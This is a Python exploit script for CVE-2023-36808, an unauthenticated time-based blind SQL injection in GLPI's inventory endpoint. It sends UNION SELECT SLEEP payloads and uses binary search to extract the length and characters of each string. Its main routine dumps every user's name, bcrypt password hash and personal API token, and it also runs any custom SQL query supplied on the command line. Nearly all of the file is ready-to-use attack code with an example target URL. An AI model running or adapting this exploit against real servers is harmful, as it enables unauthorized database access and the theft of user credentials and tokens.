#!/usr/bin/env python3 """ CVE-2023-36808 - GLPI Unauthenticated SQL Injection Affected versions: GLPI < 10.0.10 Endpoint: POST /front/inventory.php Injection point: field in XML body Technique: time-based blind with binary search. Parallel field extraction (name/password/token simultaneously) with a concurrency cap to prevent timing interference. """ import requests import sys import time import argparse import threading # ── Tunables ────────────────────────────────────────────────────────────────── SLEEP = 0.5 # seconds to sleep on true condition THRESHOLD = 0.35 # minimum elapsed time to count as "true" MAX_PARALLEL = 2 # max simultaneous HTTP requests (prevents timing noise) TIMEOUT = 15 # per-request timeout in seconds # ───────────────────────────────────────────────────────────────────────────── _sem = threading.Semaphore(MAX_PARALLEL) _print_lock = threading.Lock() def _post(session, url, payload): xml = ( "get_params" f"{payload}" "fake" ) with _sem: t0 = time.time() try: session.post( url, data=xml, headers={"Content-Type": "application/xml"}, timeout=TIMEOUT, ) except requests.exceptions.Timeout: return TIMEOUT # timed out → sleep definitely fired return time.time() - t0 def check(session, url, condition): """Return True if SQL condition is true (SLEEP fired).""" payload = f"x' AND 1=2 UNION SELECT IF({condition},SLEEP({SLEEP}),0)-- -" return _post(session, url, payload) >= THRESHOLD def extract_length(session, url, query, max_len=128): lo, hi = 0, max_len while lo < hi: mid = (lo + hi) // 2 if check(session, url, f"LENGTH(({query}))>{mid}"): lo = mid + 1 else: hi = mid return lo def extract_char(session, url, query, pos): """Binary search for one character at position pos (1-indexed).""" lo, hi = 32, 127 while lo < hi: mid = (lo + hi) // 2 if check(session, url, f"ASCII(SUBSTR(({query}),{pos},1))>{mid}"): lo = mid + 1 else: hi = mid return chr(lo) if lo > 32 else "" def extract_string(session, url, query, label=""): """ Extract a full string sequentially (reliable timing), printing progress as each character is resolved. """ length = extract_length(session, url, query) if length == 0: with _print_lock: print(f" {label:<18} (empty)") return "" result = [] for i in range(1, length + 1): c = extract_char(session, url, query, i) result.append(c) with _print_lock: partial = "".join(result) + "." * (length - i) print(f"\r {label:<18} {partial}", end="", flush=True) final = "".join(result) with _print_lock: print(f"\r {label:<18} {final}") return final def check_target(session, url): try: r = session.post( url, data="get_paramstest" "fake", headers={"Content-Type": "application/xml"}, timeout=10, ) return r.status_code == 200, f"HTTP {r.status_code}" except Exception as e: return False, str(e) def verify_injection(session, url): return check(session, url, "1=1") and not check(session, url, "1=2") def dump_users(session, url): count = int(extract_string(session, url, "SELECT COUNT(*) FROM glpi_users", "user count")) users = [] for i in range(count): print(f"\n[*] User {i + 1}/{count}") user = {} for lbl, q in [ ("name", f"SELECT name FROM glpi_users LIMIT {i},1"), ("password", f"SELECT password FROM glpi_users LIMIT {i},1"), ("personal_token", f"SELECT personal_token FROM glpi_users LIMIT {i},1"), ]: user[lbl] = extract_string(session, url, q, lbl) users.append(user) return users def main(): global SLEEP, THRESHOLD, MAX_PARALLEL, _sem parser = argparse.ArgumentParser( description="CVE-2023-36808 - GLPI Unauthenticated SQLi exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="Example:\n python3 exploit.py http://10.0.0.1/glpi", ) parser.add_argument("target", help="Base URL of GLPI (e.g. http://10.0.0.1/glpi)") parser.add_argument("--sleep", type=float, default=SLEEP, help=f"Sleep delay in seconds (default: {SLEEP})") parser.add_argument("--parallel", type=int, default=MAX_PARALLEL, help=f"Max concurrent requests (default: {MAX_PARALLEL})") parser.add_argument("--query", type=str, default=None, help="Run a custom SQL query and print the result") args = parser.parse_args() SLEEP = args.sleep THRESHOLD = args.sleep * 0.7 MAX_PARALLEL = args.parallel _sem = threading.Semaphore(MAX_PARALLEL) base = args.target.rstrip("/") url = f"{base}/front/inventory.php" print(f"[*] CVE-2023-36808 - GLPI Unauthenticated SQLi") print(f"[*] Target : {url}") print(f"[*] Sleep : {SLEEP}s Threshold: {THRESHOLD:.2f}s Parallel: {MAX_PARALLEL}") print() session = requests.Session() ok, err = check_target(session, url) if not ok: print(f"[-] Cannot reach target: {err}") sys.exit(1) print("[+] Target reachable") print("[*] Verifying injection...") if not verify_injection(session, url): print("[-] Time-based injection not confirmed - try a higher --sleep value.") sys.exit(1) print("[+] Injection confirmed\n") if args.query: print(f"[*] Custom query: {args.query}") result = extract_string(session, url, args.query, label="result") print(f"\n[+] Result: {result}") return users = dump_users(session, url) print("\n" + "=" * 85) print(f"{'NAME':<20} {'PASSWORD (bcrypt)':<62} PERSONAL TOKEN") print("-" * 85) for u in users: print(f"{u.get('name',''):<20} {u.get('password','') or '(empty)':<62} " f"{u.get('personal_token','') or '(empty)'}") print("=" * 85) if __name__ == "__main__": main()